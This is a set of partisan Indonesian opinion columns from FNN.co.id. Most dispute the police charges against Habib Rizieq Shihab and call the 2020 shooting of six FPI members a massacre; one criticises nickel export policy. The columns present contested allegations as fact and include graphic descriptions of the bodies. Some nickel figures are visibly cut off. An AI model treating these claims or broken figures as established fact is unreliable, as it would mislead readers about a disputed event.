disematkan “karena tidak terjadi” kerusuhan dan sejenisnya. Jika penyidik PMJ memaksakan kedua pasal tersebut, ini sama saja penyidik “memperkosa” KUHP di depan rakyat dan mata dunia. Untuk menyelamatkan nama baik institusi, penyidik harus berani menerbitkan Surat Perintah Penghentian Penyidikan (SP3). Sebagai lembaga negara yang langsung di bawah Presiden, Jokowi harus turun tangan. Jangan sampai Presiden Jokowi akhirnya terkena “noda merah” terkait ini semua! Penulis adalah Wartawan Senior FNN.co.id

Sangkaan Pidana HRS, Jangan Lupakan Kejahatan HAM 6 Syuhada

by Sugito Atmo Pawiro Jakarta FNN - Ahad (13/12). Ada tanda tanya besar ketika terjadi penetapan tersangka terhadap Habib Rizieq Shihab (HRS) pada Jumat (10/12) lalu, terkait dengan dasar ketentuan pidana yang ditetapkan kepolisian. Kebingungan ini semakin menguat setelah HRS diperiksa sebagai tersangka, Minggu (12/12 kemarin di Mapolda Metro Jaya. Sebagaimana diketahui bahwa HRS telah ditetapkan sebagai tersangka dalam kasus pelanggaran protokol kesehatan sebagaimana Pasal 93 UU Nomor 6 Tahun 2018 tentang Karantina Kesehatan, dan dugaan perbuatan pidana penghasutan di muka umum sebagaimana dimaksud Pasal 160 KUHP. Kepolisian menyampaikan kepada publik, didukung dengan opini ahli hukum yang mendukung proses penyidikan oleh polisi, bahwa HRS dikenakan Pasal 160 KUHP tentang penghasutan di muka umum terkait dengan perbuatannya "menghasut orang-orang untuk berkumpul di kediamannya" ketika berlangsung acara pernikahan putrinya yang dirangkaikan dengan peringatan Maulid Nabi Muhammad SAW, bulan lalu. Meluruskan Sangkaan & Perbuatan. Untuk itu sudah sepatutnya diluruskan logika jumpalitan dalam fenomena unik terkait penegakan hukum terhadap perbuatan HRS ini, yang pokok-pokoknya sebagai berikut: Pertama, semua pihak harus menyadari bahwa satu-satunya perbuatan yang dapat dipersangkakan kepada HRS hanyalah mengumpulkan orang atau menciptkan kerumunan pada masa berlangsungnya karantina kesehatan menghadapi wabah penyakit, yaitu pandemik Covid 19 di kediamannya. Bahwa perbuatan ini dapat diancam dengan pidana bila merujuk pada Pasal 93 UU Nomor 6 Tahun 2018 tentang Karantina Kesehatan. Kedua, HRS pada mulanya hanya dimintakan keterangannya sebagai saksi menyangkut berkumpulnya orang-orang atau kerumunan di kediamannya tersebut. Namun pada 10 Desember ditetapkan sebagai tersangka untuk perbuatan pidana yang mengumpulkan orang-orang atau menciptakan kerumunan tersebut. Abila semula HRS akan diperiksa sebagai saksi dalam dugaan tindak pidana, kemudian dikembangkan menjadi tersangka tindak pidana Pasal 93 UU Nomor 6 Tahun 2018 tentang Karantina Kesehatan, ditambahkan (diakumulasikan) dengan Pasal 160 KUHP tentang penghasutan di muka umum. Ketiga, dalam pemeriksaan oleh penyidik pada 12 Desember, dinyatakan bahwa HRS ditangkap dan ditetapkan sebagai tersangka tidak hanya dengan Pasal 93 UU Karantina Kesehatan, juga disangkakan dengan Pasal 160 KUHP atas perbuatannya “menghasut orang-orang untuk berkumpul” atau “menciptakan kerumunan” di kediamannya sehubungan dengan acara pernikahan anaknya dan Maulid Nabi Besar Muhammad SAW. Keempat, dengan demikian HRS diancam dengan pidana paling lama 1 tahun dan/atau denda paling banyak Rp 100 juta untuk Pasal 93 UU Karantina Kesehatan, dan diancam dengan pidana penjara maksimal 6 (enam) tahun untuk sangkaan Pasal 160 KUHP junto Pasal 216 KUHP. Dikumpulkan atau diakumulasi. Mengapa akumulasi ancaman pidana ini yang diterapkan penyidik? Sebab mungkin hanya dengan alasan akumulasi inilah HRS bisa dipaksakan untuk ditahan. Dari sinilah benar jika ada yang menganggap bahwa penggunaan pasal-pasal pidana kepada HRS adalah dipaksakan alias ‘maksain banget’. Memaksakan Kehendak Mencermati pasal-pasal pidana yang diterapkan kepada HRS, maka kita sudah bisa memastikan bahwa ada usaha dari penyidik untuk memaksakan kehendak agar HRS dapat ditangkap dan ditahan. Kebetulan Pasal 93 UU Karantina yang sejak lama disadari memiliki kelemahan, karena cenderung tidak memiliki kepastian hukum, bersifat pasal karet, dan tidak selaras dengan asas legalitas dalam Hukum Pidana itu, bisa ditarik kesana-kemari. Dan tampaknya terbukti menimpa HRS. Adanya sanksi pidana penjara yang dapat juga diakumulasi dengan sanksi denda menjadikan norma hukum ini tidak sesuai dengan asas kepastian atau (lex certa). Juga kurang tegas dalam mengatur (lex stricta). Bahayanya, pelakunya bisa saja cuma didenda secara administrative atau dipenjarakan, atau bisa juga kedua-duanya. Semua tergantung pada aparat penegak hukum. Selain itu, dalam pemidanaan semestinya berlaku prinsip "ultimum remedium". Dimana sanksi pidana penjara adalah pilihan terakhir, apabila sanksi administrative masih bisa diberikan. Lebih celaka lagi, jika digandengkan secara akumulatif dengan Pasal 160 KUHP (penghasutan di muka umum) dan 216 KUHP (melawan perintah pejabat yang menjalankan undang-undang). Bukankah jika sudah ada aturan pidana khusus, maka aturan pidana umum dapat dikesampingkan (lex specialis drogat legi generali). Pasal 93 UU Karantina Kesehatan sudah menentukan “setiap orang yang tidak mematuhi karantina kesehatan dan/atau menghalang-halangi penyelenggaraan kekarantinaan Kesehatan” diancam dengan pidana sebagaimana dalam norma pasal ini. Dengan demikian ketentuan pidana tentang penghasutan dimuka umum dengan mengumpulkan orang yang dikaitkan dengan Pasal 160 KUHP, serta melawan perintah undang-undang sebagaimana Pasal 216 KUHP sudah tidak dapat dipergunakan karena sudah termaktub dalam frase “menghalang-halangi penyelenggaraan kekarantina kesehatan” (Pasal 93 UU Karantina Kesehatan). Faktanya pada hari ini, untuk kasus HRS, kita tidak hanya disuguhi dengan praktek ketidakadilan hukum yang telanjang. Tetapi juga praktek ketidakpastian (uncertainty) dalam penegakan hukum. HRS begitu patuh memenuhi seluruh perlakuan penegak hukum terhadap dirinya. Semua itu dimaksudkan untuk menciptakan ketenangan, agar pengusutan dan pengungkapan kasus pelanggaran HAM berat atas penembakan oleh polisi terhadap enam syuhada, 7 Desember lalu tidak tertutup oleh isu ini. Mudah-mudahan publik menyadari kejanggalan dalam penegakan hukum terhadap HRS hari-hari ini. Jangan sampai melengahkan kontrol publik terhadap upaya menuntut keadilan atas kematian enam orang syuhada laskar FPI tersebut. Na'udzubillah min dzalik. Penulis adalah Ketua Bantuan Hukum FPI.

Ironi Industri Nikel Nasional (Bagian-1)

Menggugat eksploitasi cadangan nikel yang hanya pro kepada para konglomerat dan asing. Kerugian negara mencapai rartusan trilun rupiah. by Dr. Marwan Batubara Jakarta FNN – Sabtu (12/12). Sesuai Pasal 170 UU Minerba No. 4/2009, larangan ekspor bijih mineral mestinya sudah berlaku sejak Januari 2014. Ketika saatnya tiba, muncul relaksasi melalui PP No. 1/2014 dan larangan ekspor mundur ke 2017. Pada 2017, kembali terjadi relaksasi melalui PP No.1 /2017, sehingga larangan baru akan efektif 2022. Maka, program hilirisasi minerba pun gagal. Ternyata, sesuai Permen ESDM No. 11/2019, larangan ekspor dipercepat khusus bijih nikel menjadi Januari 2020. Maka muncul apresiasi, karena akan diperoleh berbagai nilai tambah. Indonesia akan untung, penerimaan negara akan meningkat. Benarkah demikian? Merujuk data Ditjen Minerba (Juni 2020) cadangan bijih nikel nasional (status terbukti dan terkira) sekitar 4,59 miliar ton. Terdiri dari bijih kadar Ni>1,7% sekitat 930,10 juta ton dan bijih kadar Ni1,8%. Disebut saprolite yang harga FOB international November 2020 sekitar U$ 81/WMT. Sedang input untuk smelter HPAL dan MHP adalah bijih dengan kadar logam Ni1,7%), sementara smelter kadar rendah belum tersedia dan ekspor nikel kadar rendah dilarang, maka nikel kadar rendah sebagai “bijih ikutan” kegiatan eksploitasi, akan menjadi “waste” terbuang sia-sia. Hal ini tentu sangat merugikan dari sisi ketahanan mineral, penerimaan negara dan nilai tambah. Hingga 2026, berdasarkan data Kementerian ESDM akan beroperasi 29 smelter dan dimungkinkan akan beroperasi lebih dari 40 smelter berinput bijih kadar Ni>1,7% membutuhkan bijih yang terus meningkat. Cadangan bijih yang dimiliki Indonesia sekitar 930,10 juta ton. Kebutuhan bijih seluruh smelter pada 2020, 2021, 2022, 2023, 2024, 2025 dan 2026 masing-masing adalah 46,71 juta ton, 72,98 juta ton, 143,01 juta ton, 153,56 juta ton, 213,57 juta ton, 213,57 juta ton dan 213,57 juta ton. Maka pada 2026 smelter akan kekurangan pasokan bijih kadar Ni>1,7% sekitar 126,75 juta ton. Praktis cadangan bijih kadar Ni>1,7% hanya bertahan sekitar 6 tahun. Dimungkinkan kekurangan pasokan bijih nikel ini akan lebih cepat dari perkiraan apabila jumlah smelter melebihi dari yang diperkirakan. Jika cadangan bijih nikel berkadar rendah Ni

Kasus HRS, Politik Atau Hukum?

by M Rizal Fadillah Bandung FNN – Sabtu (12/12). Habib Rizieq Shihab (HRS) beserta lima orang lainnya termasuk Ketua Umum FPI KH. Shobri Lubis ditetapkan sebagai tersangka. Status tersangka di tengah tuntutan banyak pihak agar dibentuk Komisi Pencari Fakta Independen atas tewasnya enam orang anggota Laskar Front Pembela Islam (FPI) di area jalan tol Jakarta Cikampek Kilometer 50. Status tersangka sebelum pemeriksaan pribadi HRS dan masih dalam tenggang waktu pemanggilan nampaknya dipaksakan. Tuduhannya melanggar Pasal 160 KUHP Jo Pasal 216 KUHP delik penghasutan melakukan perbuatan pidana. Padahal Mahkamah Konstitusi (MK) telah mengubah frasa penghasutan dari delik formil menjadi delik materil. Harus ada perbuatan pidana ikutan. Harus nyata-nyata perbuatan perbuatannya. Bukan hanya dugaan dan tuduhan semata. Awalnya polisi menyatakan berhubungan dengan Pasal 93 UU Kekarantinaan Kesehatan. Peristiwanya adalah kerumunan saat pernikahan puterinya Syarifah di Petamburan. HRS sendiri sudah membayar "denda kerumunan" sebesar Rp. 50.000.000. Yang menjadi pertanyaan adalah apakah ini kasus politik atau hukum? Jika kasus hukum maka banyak hal yang masih dapat diperdebatkan secara hukum. Soal kerumunan yang dikenakan sebagai sanksi pidana untuk kebijakan Pembatasan Sosial Berskala Besar (PSBB) yang bukan Karantina menjadi sangat aneh. Sebab sanksi dendanya sudah dibayar. Hukum kita tidak mengenal sanksi dua kali untuk satu jenis kesalahan. Begitu juga dengan masalah penguntitan kepada orang yang belum berstatus tersangka ataupun buron. Ada penembakan terhadap enam anggota laskar FPI hingga tewas. Ada juga sikap diskriminasi terhadap kerumunan lain yang diperlakukan berbeda. Kerumunan Pilkada Gibran dan Pilkada lain yang diabaikan begitu saja. Jika persoalan yang terjadi adalah politik, sebagaimana yang dikesankan selama ini, maka semangat untuk menghukum dengan "segala cara" itu justru melanggar prinsip dan asas negara hukum. Sebab hukum harus dibawa jauh ke ranah politik. HRS sebagai bagian dari tokoh publik telah ditempatkan sebagai lawan politik penguasa. Sehingga segala cara haris dilakukan untuk "menghabisinya". Jika kondisinya seperti itu, maka melencenglah arah kehidupan sehat dalam demokrasi berbangsa dan bernegara. Untuk itu, sebaiknya segera kembalikan persoalan hukum ke jalur hukum. Hukum yang lebih humanis sesuai dengan prinsip negara yang bermoral berdasarkan Pancasila dan UUD 1945. Hukum yang dianut bangsa Indonesia harusnya menjadi "tools of social engineering". Bukan hukum yang semata-mata menjadi alat pemaksa. Ketertiban itu memang perlu, akan tetapi keadilan jauh lebih perlu. Ketertiban yang mengabaikan keadilan, sama dengan menginjak-injak pondasi negara hukum. Merubah negara hukum menajadi negara kekuasaan. Mengeksplorasi habis-habisan peristiwa pernikahan puteri HRS agar bisa memenjarakan HRS, jelas dan nyata merupakan kasus politik. Menghancurkan dan menginjak-injak hukum agar kekuasaan politik bisa berdiri tegak dengan penuh arogansi, kesombongan, keangkuhan dan kepongahan. Membuat hukum menjadi terjajah, dipermainkan, dan dijadikan alat kekuasaan. Para pejuang hukum dan keadilan tidak boleh membiarkan keadaan seperti ini. Kedaulatan hukum harus tetap ditegakkan meskipun langit akan runtuh. Penulis adalah Pemerhati Politik dan Kebangsaan.

Detik-Detik Foto dan Video 6 Janazah FPI Dibuka

by Tony Rosyid Jakarta FNN – Sabtu (12/12). Pengakuan sejumlah saksi di Komisi III DPR benar-benar mengagetkan publik. Mereka mengaku melihat tubuh para jenazah ena anggota Laskar Fron Pembela Islam (FPI) itu tampak sangat mengerikan. Ada yang tertembak di mata sebelah kiri hingga tembus ke bagian belakang. Ada yang tertembak sekitar telinga satu tembus ke telinga yang sebelahnya. Hampir sebagian besar tembakan di dada bagian kiri. Tepat pada jantung janazah ditembus lebih dari satu peluru. Ada juga janazah yang tangannya tampak terkelupas seperti akibat terseret atau diseret. Ada luka memar yang diperkirakan bekas penganiayaan. Ada sebagian tubuh yang gosong seperti bekas pembakaran. Benar-benar sangat mengenaskan! Cerita para saksi di Komisi III itu membuat tubuh kita spontan bergetar dan menggigil. Emosi kita juga ikut tersentuh. Perasaan terasa seperti diaduk-aduk. Terbayang apa yang terjadi kepada enam pemuda itu. Sakit sekali. Setelah itu mereka mati. Ada sejumlah orang yang tak lagi segan-segan untuk mengungkapkan bahwa ini adalah pembantaian. Bukan tembak-menembak. Luar biasa mengenaskan. Sebab menanggapi pengakuan para saksi itu, ada yang langsung menangis. Mengekspresikan betapa pedih apa yang dialami oleh enam anak muda itu. Kebayang jika itu terjadi pada anak atau saudara mereka. Ada yang menunjukkan kekesalan dan kemarahannya. Sebagian mengupkannya melalui berbagai komentar dan video. Disisi lain, ada yang menganggap kesaksian itu hanya mengada-ada. Sepertinya bukan kejadian yang telah terjadi. Ada yang malah nyumpahin enam jenazah tersebut dengan kalimat "mampus kalian". Ada juga yang berseloroh, "kenapa sedih. Bukannya mereka sudah ketemu 72 bidadari". Kalimat nyindir, nyinyir dan bahkan seperti mengejek juga. Supaya tak terus jadi polemik di masyarakat, ada baiknya semua foto dan video yang menggambarkan kondisi fisik para janazah tersebut dibuka saja kepada publik. Diviralkan saja di media sosial. Ini untuk mengkroscek pengakuan dari para saksi itu adalah keluarga dan pengacara korban. Apakah atau salah. Sekaligus sebagai sebuah pertanggungjawaban hukum dan sosial atas kesaksian tersebut. Jangan sampai terlambat momentum. Keburu basi dan bergeser ke isu-isu yang lain. Mumpung sebelum ada intervensi dan intimidasi kepada keluarga korban dan para saksi. Tidak boleh ada celah untuk kompromi, sehingga foto dan video itu tidak jadi dibuka ke publik. Jangan jadikan jenazah-jenazah itu untuk bertransaksi. Jika ini terjadi, kebenaran akan selamanya terbungkam dan tenggelam. Fakta dan kebenaran akan mennadi kenangan pahit. Kapan saja peristiwa tersebut bisa saja terulang kembali. Karena nggak ada pertanggungjawaban kepada publik. Kalau dibuka kepada publik, kita semua berhadarap kejadian tersebut, tidak lagi terulang. Kalaupun sampai terjadi juga, maka jangan sampai yang kejadiannya menggigil dan mengerikan seperti ini. Jauh dari nilai-nilai kemanusian yang menjadi penduan kesepakatan berbangsa dan bernegara kita. Jika foto dan video enam jenazah tersebut dibuka ke publik, dan ternyata tidak sama dengan apa yang disampaikan para saksi dan keluarga korban itu, maka harus ada saksi pidananya. Namanya kesaksian bohong nggak boleh dibiarkan terjadi. Begitu seharusnya kita berhukum. Sebaliknya, jika kesaksian itu benar-benar adanya, maka ini akan mengungkap banyak kepalsuan yang harus juga harus dipidanakan. Kebohongan tak boleh dibiarkan dan leluasa merusak pikiran rakyat. Siapapun orangnya harus dihukum. Harus menerima saksinya. Tidak perduli pelakunya aparat atau rakyat jelata. Hukum harus berdiri tegak di atas kebenaran. Jika apa yang diungkapkan para saksi tersebut benar adanya. Ada foto dan videonya, lengkap dengan data forensiknya, juga video pengakuan para saksi yang berada di TKP KM 50, dan harus saksi beneran. Bukan saksi hasil rekayasa, maka masyarakat akan semakin sulit percaya bahwa ada peristiwa tembak menembak. Tuduhan kubu FPI bahwa ada penculikan, penganiayaan, bahkan pembantaian tentu saja akan memenangkan opini publik. Berbagai kejanggalan kasus ini sejak awal penguntitan sampai penembakan yang berujung kematian enam laskar FPI harus segera dibongkar. Fakta-fakta itu mesti dibuka ke publik, apa adanya. Setansparan mungkin. Jangan ada yang ditutup-tutupi. Supaya semuanya terang benderang. Pertanyaannya, elokkah memposting foto dan video jenazah dalam kondisi fisik sebagaimana yang didiskripsikan oleh para saksi dan keluarga korban itu? Kebenaran punya jalan dan standarnya sendiri. Apapun yang diperlukan untuk membuka kebenaran, tidak boleh dihalangi karena alasan keelokan. Kasus penembakan enam anak muda FPI itu sudah jadi konsumsi publik. Masyarakat berhak untuk tahu dengan sejelas-jelasnya. Setransparan mungkin. Ini sekaligus nantinya akan menjadi alat kontrol bagi proses investigasi dan sidang di pengadilan. Jika foto atau video tidak dibuka, kasus ini hanya akan menjadi kegaduhan di media massa dan media sosial. Menambah deretan keganjilan dalam penegakan hukum di negeri ini. Opini liar yang justru akan terus bersaing. Fitnah akan terus bertebaran. Karena itu, masyarakat menuntut foto dan video janazah itu segera dibuka. Kasus harus segera dibongkar. Pembukaan foto dan video enam jenazah Laskar FPI menjadi penting saat ini. Supaya tak berkembang berbagai prasangka yang akan mengaburkan dan menenggelamkan kebenaran itu sendiri. Dan ini tidak boleh terjadi! Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Indonesia Yang Kini Menjadi Milik Polisi

by Asyari Usman Medan FNN - Jumat (11/12). Sehari setelah Polisi menembak mati 6 laskar FPI, Kabid Humas Polda Metro Jaya Kombes Yusri Yunus memperingatkan publik bahwa kalau ada yang mengatakan laskar FPI tidak punya senjata dalam insiden penembakan itu, maka dia dapat dikenai pasal pidana. Masuk kategori menyiarkan kebohongan. Artinya, pernyataan Polisi bahwa para laskar FPI yang ditembak mati itu memiliki senjata api, tidak boleh dipersoalkan. Itu harus diterima sebagai kebenaran mutlak. Sama seperti putusan pengadilan. Padahal, putusan pengadilan saja masih bisa digugat sampai ke tingkat kasasi, dsb. Pernyataan Yusri itu pastilah membuat orang, termasuk para wartawan, menjadi takut untuk mengutip ucapan seseorang yang tidak sejalan dengan pernyataan Polisi. Jelaslah takut. Bisa masuk penjara. Cuma, apakah begitu negara ini dikelola? Apakah sekarang sudah ada ketentuan bahwa semua yang dikatakan polisi wajib benar? Apa dasar kepolisian bisa mengeluarkan pernyataan yang tidak boleh dipertanyakan? Tidak boleh dibantah? Mari kita lihat kembali ultimatum Kombes Yusri Yunus tadi. Menurut Yusri, kalau ada orang yang mengatakan laskar FPI tidak bersenjata ketika mereka ditembak mati oleh polisi, maka itu berarti penyebaran kebohongan. Mengikuti logika Kombes Yusri, siapa pun terduga atau tersangka yang ingin membantah pernyataan Polisi, berarti dia melakukan perbuatan pidana tambahan. Pidana berbohong. Persoalannya, apakah sekarang sudah tidak boleh lagi orang membela diri dengan mengatakan sesuatu yang tak sesuai dengan apa kata Polisi? Bukankah, dalam suatu kasus, orang berhak membantah meskipun pihak lain mengatakan punya bukti? Bukankah hanya hakim pengadilan yang berwenang memutuskan benar-tidaknya suatu pernyataan? Sejak kapan Kepolisian memiliki hak istimewa yang membuat semua penjelasan mereka wajib benar, tak boleh dibantah? Kalau mereka bilang laskar FPI memiliki senjata, maka seluruh dunia harus mengiyakannya. Tak boleh dipertanyakan. Kalau sudah seperti itu, berarti negara ini telah berubah menjadi milik Polisi. Kapan-kapan nanti Anda bagus juga tanya ke BPN (Badan Pertanahan Nasional) apakah mereka sudah menerbitkan sertifikat hak milik seluruh wilayah Indonesia atas nama Polisi. Kalau sudah, berarti kita harus bayar sewa tanah ke Mabes Polri. Dan semua urusan yang menyangkut kehidupan kita di Indonesia ini menjadi kewenangan Polisi. Sebagai contoh, ada peristiwa pembegalan di jalan. Jika keinginan Kombes Yusri Yunus yang digunakan, maka polisilah yang berhak menyimpulkan apakah Anda benar kena begal atau tidak. Jika Polisi mengatakan begal tidak bersenjata meskipun Anda bisa tunjukkan luka di tangan, maka kata polisilah yang diterima sebagai kebenaran. Anda mau bantah Polisi? Kena pasal penyebaran hoax. Polisi tidak boleh diselisihi. Jadi, Indonesia tidak hanya disebut negera kepolisian (police state) karena begitu besarnya kekuasaan polisi. Melainkan, menurut jalan pikiran Kombes Yusri, negara ini sudah menjadi miliki Polisi sepenuhnya.[] Penulis adilah Wartawan Senior FNN.co.id

Pemerintah Memilih Politik Jalan Buntu

by Hersubeno Arief Jakarta FNN - Jumat (11/12). Pemerintah tampaknya memilih politik jalan buntu. Jalan keras, dengan pendekatan kekuasaan. Pintu dialog dengan Imam Besar Front Pembela Islam Habib Rizieq Shihab (HRS), ditutup rapat-rapat. Sikap pemerintah itu tercermin dari keputusan Polda Metro Jaya, meningkatkan status HRS menjadi tersangka. Kabareskrim Mabes Polri Komjen Listyo Sigit langsung turun tangan, mengambil alih kasus. Menurutnya ada bukti kuat laskar FPI menyerang polisi. Dengan pernyataan itu, berarti Divisi Propam Mabes Polri tak perlu lagi melanjutkan kerjanya. Tak perlu lagi diselidiki apakah ada kesalahan dan pelanggaran standar operasi dan prosedurnya. Polisi sudah menyimpulkan, kasusnya adalah pembelaan diri. Aparatnya diserang. Jadi wajar bila penyerang ditembak mati. “Tindakan terukur,” begitu seperti dikatakan Kapolda Metro Jaya Irjen Pol Fadil Imran. Sejalan dengan Presiden Kebijakan Mabes Polri ini tampaknya sejalan dengan sikap Presiden Jokowi. Setelah berhari-hari diam, banyak yang menanti-nanti apa pernyataan Presiden. Bagaimana dia menyikapinya. Apa instruksinya? Kasus penembakan enam orang laskar FPI oleh polisi, bukan hanya menjadi sorotan nasional, tapi juga internasional. Kredibilitas Indonesia sebagai negara demokrasi dipertaruhkan. Enam orang aktivis Islam, menjadi korban kekerasan aparat negara, di sebuah negara demokrasi dengan penduduk Islam terbesar di dunia, adalah ironi besar. Sayangnya harapan publik seperti menggantang asap. Momen yang ditunggu pada perayaan Hari HAM Se-dunia, Jumat (10/12) menjadi anti klimaks. Tak sepatah katapun Presiden menyinggung kasus tersebut. Apalagi mengutuk dan menyampaikan duka cita. Pandangan mata, dan pendengaran Presiden seakan terkurung rapat di balik tembok istana. Padahal jaraknya hanya lebih kurang 50 Km dari istana! Sayang sekali! Dalam pidato dengan durasi 5 menit 7 detik itu, Presiden Jokowi malah bicara komitmen pemerintah menuntaskan pelanggaran HAM di masa lalu. Sebuah komitmen yang diulang-ulang terus setiap tahun, sepanjang enam tahun dia berkuasa. Presiden juga bicara rencana aksi HAM 2020, pemenuhan hak sipil, hak politik dan hak sosial budaya. Hak para anak muda yang tewas secara mengenaskan di tangan polisi, sama sekali tak disinggungnya. Publik membandingkan dengan sikapnya, ketika terjadi penembakan pendeta di Papua pada bulan September lalu. Pemerintah segera membentuk Tim Gabungan Pencari Fakta (TGPF). Kurang dari dua pekan berselang —akhir November— juga terjadi pembantaian satu keluarga di Kabupaten Sigi, Sulawesi Tengah. Polisi menyebut pelaku pembantaian gerilyawan Mujahidin Indonesia Timur (MIT). Rumah korban digunakan sebagai pos pelayanan gereja. Presiden Jokowi bersikap sangat keras. Mengutuk keras pembantaian itu. Memerintahkan Kapolri mengusut tuntas sampai ke akar-akarnya. Sebuah sikap yang correct. Seorang Presiden, seorang kepala negara memang harus bersikap seperti itu. Masalahnya mengapa terjadi perbedaan perlakuan. Ada standar ganda? Isu ini menjadi sensitif karena bisa dikait-kaitkan dengan masalah SARA. Sangat berbahaya bila kemudian muncul kesimpulan, pemerintahan Jokowi memusuhi umat Islam. Untuk kasus yang nun jauh di sana, di Papua dan di Sigi, Presiden bisa dengan jelas melihat duduk persoalannya. Mengambil langkah yang tepat. Instruksinya kepada aparat penegak hukum juga tegas dan jelas. Mengapa untuk kasus yang berada di depan mata, ibarat kata hanya sepelemparan batu dari istana, Presiden tiba-tiba nanar pandangannya? Bibirnya kelu, bahkan hanya untuk sekadar mengucapkan bela sungkawa. Konon pula memberi instruksi dan arahan yang tegas bagi aparat bawahannya. Sikap diam dan membisunya Presiden ini sangat berbahaya. Stabilitas, bahkan integrasi bangsa jadi taruhannya. Ekonomi negara sedang sangat berat. Pandemi masih belum jelas kapan berakhir. Kehidupan rakyat secara ekonomi sangat berat. Secara psikis rakyat juga sangat tertekan. Belum lagi kalau kita bicara residu Pilkada DKI 2017 dan Pilpres 2019. Sampai saat ini bukannya menyurut, malah kian mengental. Pembelahan kian terasa. Jerami kering itu tumpukannya kian tinggi. Sudah menggunung. Hanya butuh sebatang korek api memantiknya. Harus ada kesadaran dari pemerintah untuk membangun jembatan dialog. Bukan malah menggali keterbelahan itu semakin dalam. Mengapa Presiden tidak membuka diri. Mengulurkan tangan. Tunjukkan welas asihmu kepada anak bangsa, tanpa memandang golongan. Jangan dilihat mereka mendukung atau tidak mendukungmu. Presiden Jokowi harus ingat, dia adalah Presiden. Seorang kepala negara. Paling bertanggung jawab dan akan diminta pertanggungjawabannya atas semua yang terjadi. Tolong diingat, para pendukung Jokowi sering mencoba menyamakannya dengan Khalifah Umar Bin Khattab. Seorang sahabat Nabi Muhammad, khalifah kedua yang sangat tegas dan berlaku adil tanpa pandang bulu. Khalifah Umar sangat tegas dan keras terutama kepada keluarga dan para petinggi negara. Dalam bahasa sekarang sikapnya terhadap pelanggaran dan penyimpangan sekecil apapun. Zero tolerance. Suatu hari beliau pernah berkata. “Jika ada seekor keledai yang terperosok di negeri Syam. Umar lah yang berdosa dan bertanggung jawab.” Negeri Syam —sekarang Suriah— sangat jauh dari Madinah. Ribuan kilometer jaraknya. Komunikasi juga tidak bisa dibandingkan dengan masa kini. Sekarang ada enam orang anak bangsa, tewas ditembak di KM 50. Presiden Jokowi hanya diam saja? Pak Jokowi, bersikaplah layaknya Umar Bin Khattab seperti digambarkan oleh para pengikut Anda. Tolong setidaknya jangan kecewakan mereka. End Penulis adalah Wartawan Senior FNN.co.id

“Tembak-Tembakan”, Blunder Narasi Kapolda Metro!

by Mochamad Toha Surabaya FNN - Jumat (11/12). Narasi yang disampaikan Kapolda Metro Jaya Irjen Polisi Fadil Imran terkait penembakan 6 pengawal Habib Rizieq Shihab di Tol Jakarta-Cikampek yang melakukan perlawanan justru dianggap janggal dan tak masuk akal. “Sekitar pukul 00.30 WIB di jalan Tol Jakarta-Cikampek KM 50 telah terjadi penyerangan terhadap anggota Polri yang sedang melaksanakan tugas (untuk) penyelidikan terkait rencana pemeriksaan MRS yang dijadwalkan berlangsung hari ini jam 10.00 WIB,” ujarnya. Keterangan pers Fadil Imran didampingi Pangdam Jaya Mayjen TNI Dudung Abdurachman itu dilakukan di PMJ, Senin (7/12/2020). Pihaknya melakukan penyelidikan setelah mendapat informasi adanya rencana pengerahan massa mengawal HRS. “Berawal adanya informasi ada pengerahan massa pada saat MRS dilakukan pemeriksaan di Polda Metro Jaya dari berbagai sumber, termasuk rekan media mungkin dengar berita melalui WAG bahwa ada pengerahan massa untuk mengawal pemeriksaan MRS,” kata Fadil Imran. Dus, narasi selanjutnya pun sudah banyak diketahui publik. Termasuk cerita bagaimana polisi akhirnya menembak mati ke-6 pengawal HRS tersebut. Narasi terjadi “tembak-menembak” – lebih tepatnya: “tembak-tembakan” – juga disampaikan Fadil Imran. Andai Fadil Imran dan Dudung Abdurachman tak melakukan jumpa pers terkait peristiwa itu, mungkin hingga kini pihak FPI masih berkeyakinan, ke-6 pengawal HRS itu telah diculik OTK. Tapi, ternyata Fadil Imran “jujur”: polisi yang menembak mereka! Sangatlah wajar jika kemujdian ada reaksi dari pengawal HRS. Karena sudah sering terjadi kasus penganiayaan di jalanan oleh “orang-orang tidak dikenal”, seperti yang dialami para pengawal HRS ini, yang ternyata belakangan diketahui mereka itu polisi. Sebagai contoh, kasus pembacokan di Tol terhadap Hermansyah, ahli IT yang membongkar Chat Fake yang dituduhkan ke HRS. Perlu dicatat, rilis pertama FPI juga menyebut 6 orang anggotanya diculik OTK. Sayangnya, tanpa berpikir panjang dan tanpa logika, media langsung menelan percaya begitu saja, sehingga menyebut telah terjadi “tembak-menembak” yang menyebabkan tewasnya 6 pengawal HRS itu. Padahal yang terjadi adalah “tembak-tembakan”. Karena, faktanya kejadian itu justru baru diketahui secara luas oleh publik setelah 13-15 jam kemudian. Setelah Kapolda Metro Jaya melakukan konferensi pers bersama Pangdam Jaya tersebut. Dalam era medsos, tentunya kalau memang ada tembak-menembak, berarti terjadi saling adu tembak, bisa beberapa menit, maka sepuluh menit kemudian dapat dipastikan akan ramai di televisi, media online, dan medsos.. Seharusnya media (wartawan) menggali keterangan lebih dalam dari polisi agar informasi yang disajikan tidak menyesatkan kepada publik. Jika memang ada saling tembak, paling tidak, ada bekas tembakan di mobil yang dikendarai para “OTK” itu. Polisi menyebutkan, mereka terpaksa melakukan tindakan yang tegas dan terukur (menembak mati) karena para pengawal HRS sudah membahayakan nyawa petugas. Membahayakan itu yang bagaimana dan seperti apa? Pihak PMJ mengatakan, pistol yang digunakan pengawal HRS itu adalah asli, bukan rakitan. Tapi, belakangan disebutkan, pistol itu rakitan. Keluar pula pernyataan lain, pengawal HRS yang merampas senjata polisi. Jika benar ada perampasan, maka patut dipertanyakan kualitas anggota PMJ yang senjatanya dapat dirampas warga sipil. Polisi mengatakan peristiwa itu terjadi di KM 50, tol Jakarta-Cikampek. Namun, di sana tidak ada police line-nya. Ironisnya, tidak ada olah TKP di lokasi terjadinya “tembak-tembakan” ini. Sehingga, tidak bisa diketahui apakah ada atau tidak ada selonsong peluru. Jika ada perampasan, berarti ada body contact di antara kedua belah pihak yang saling berhadapan. Mabes Polri menyebutkan, kini kasus penembakan 6 pengawal HRS diambil-alih mereka. Dan, anggota polisi yang menembak pengawal HRS dalam pengawasan Propam karena ada kesalahan prosedur dalam operasi tersebut. Abdullah Hehamahua, penasehat KPK masa jabatan 2005-2013, mengkritisi alasan polisi menembak ke-6 pengawal HRS tersebut. Kapolda mengatakan, anggota polisi sedang melakukan kegiatan “surveillance” terhadap HRS.“Surveillance” yang demonstratif? Mungkin ini gaya intel Indonesia. Berjumpa dengan orang lain. lalu memperkenalkan diri, 